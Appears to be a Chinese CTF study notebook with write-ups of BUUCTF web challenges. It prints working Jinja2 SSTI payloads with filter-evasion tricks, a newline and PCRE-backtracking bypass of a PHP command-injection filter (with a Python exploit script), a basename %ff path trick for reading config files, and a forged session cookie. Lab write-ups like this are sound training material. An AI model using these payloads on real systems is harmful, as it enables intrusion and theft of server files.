0%

刷题笔记

前言

依旧在buu平台刷题,依旧猛攻

鼠鼠猛攻是什么意思_鼠鼠猛攻的意思_单词乎

web

[GYCTF2020]FlaskApp

这个一个编码一个解码,当解码内容出错时就会报错

image-20260314212851711

解码的内容会经过waf过滤,然后再模板渲染,尝试{{7*7}}被拦截了,14成功渲染,后面经过测试,过滤import,os,eval还有flag,*这些关键字。看wp学到一种,paylaod

1
2
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}{% endif %}{% endfor %}

1
eyUgZm9yIGMgaW4gW10uX19jbGFzc19fLl9fYmFzZV9fLl9fc3ViY2xhc3Nlc19fKCkgJX17JSBpZiBjLl9fbmFtZV9fPT0nY2F0Y2hfd2FybmluZ3MnICV9e3sgYy5fX2luaXRfXy5fX2dsb2JhbHNfX1snX19idWlsdGluc19fJ11bJ19faW1wJysnb3J0X18nXSgnbycrJ3MnKS5saXN0ZGlyKCcvJyl9fXslIGVuZGlmICV9eyUgZW5kZm9yICV9

这里用的时listdir,不用再拼接popen,命令简短一点

image-20260314215753159

读取一下flag文件

1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt','r').read()}}{% endif %}{% endfor %}

还有一种是pin码解法这里就不写了,参考[BUUCTF-WEB 【GYCTF2020】FlaskApp 1 | Fan的小酒馆](https://fanygit.github.io/2021/04/19/[GYCTF2020]FlaskApp 1/)

[FBCTF2019]RCEService

考察的时rce,传参时用json传的,是但是过滤了很多,后来看wp才知道这题目应该是会给题目源代码的,在buu这个平台没有给,题目源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
putenv('PATH=/home/rceservice/jail');
if (isset($_REQUEST['cmd'])) {
$json = $_REQUEST['cmd'];

if (!is_string($json)) {
echo 'Hacking attempt detected<br/><br/>';
} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
} else {
echo 'Attempting to run command:<br/>';
$cmd = json_decode($json, true)['cmd'];
if ($cmd !== NULL) {
system($cmd);
} else {
echo 'Invalid input';
}
echo '<br/><br/>';
}
}
?>

看看这个waf是给人绕过的码,直接绕是不行的,这里使用的贪婪匹配,可以使用换行符%0a绕过,没有修饰符m这个是不匹配换行符

可以使用%0a绕过waf,具体可以参考[FBCTF 2019]rceservice 详细题解 - 技术栈讲的很详细

1
{%0a"cmd":"ls /"%0a}

image-20260315162201202

这里定义了

1
putenv('PATH=/home/rceservice/jail');

这是设置了环境变量,无法使用命令cat,find等命令,但是可以通过绝对路径调用,看到根目录下没有flag,找一下flag

1
{%0A"cmd":"/usr/bin/find+/+-name+flag"%0A}

image-20260315162701952

image-20260315162748326

还有就是PCRE回溯机制有一个回溯限制次数——大约100 万次,当回溯超出这个次数,还没吐完的字符串就可以逃逸绕过匹配

exp

1
2
3
4
import requests
payload = '{"cmd":"ls /", "abc":"'+'a'*1000000+'"}'
res = requests.post("http://612d14e7-c6f0-4685-bbce-ac0da7e28a34.node5.buuoj.cn:81/",data = {"cmd":payload})
print(res.text)

image-20260315164414683

[Zer0pts2020]Can you guess it?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
include 'config.php'; // FLAG is defined in config.php

if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("I don't know what you are thinking, but I won't let you read it :)");
}

if (isset($_GET['source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}

$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
$guess = (string) $_POST['guess'];
if (hash_equals($secret, $guess)) {
$message = 'Congratulations! The flag is: ' . FLAG;
} else {
$message = 'Wrong.';
}
}
?>

flag在config.php文件中,这里直接靠猜是才不对的,因为每次请求储存的secret都是改变的,关键在

1
highlight_file(basename($_SERVER['PHP_SELF']));

$_SERVER['PHP_SELF'] 是 PHP 超全局变量 $_SERVER 中的一个核心项,它表示当前执行脚本的文件名(包含从网站根目录开始的路径)

比如/index.php/1.php,PHP_SELF就是1.php。我们要读取config,php,然是还有waf,不能以config.php结尾,这里利用的是basename() 在处理非 ASCII 可打印字符(例如 URL 编码大于 %7f 的字符)时,由于字符集或 Locale 识别问题,可能会直接丢弃这些无法识别的字符,最常见的是%ff,payload

1
/index.php/config.php/%ff?source=1

以%ff结尾绕过waf,然后又被basename丢弃成功读取文件

image-20260315170048048

这里尝试购买抓包看看

image-20260315171606068

image-20260315171621964

session储存的是购买记录还有余额,这里就可以构造恶意session

1
{"money": 10000000, "history": ["Yummy pepparkaka", "Yummy pepparkaka","Flag Cookie"]}

image-20260315171845188

[CSCCTF 2019 Qual]FlaskLight

image-20260315172707028

存在ssti,然后后面的流程很简单,就是过滤了一个globals,

image-20260315175627637

flag在flasklight/coomme_geeeett_youur_flek,或者fenjing一把梭

image-20260315173332683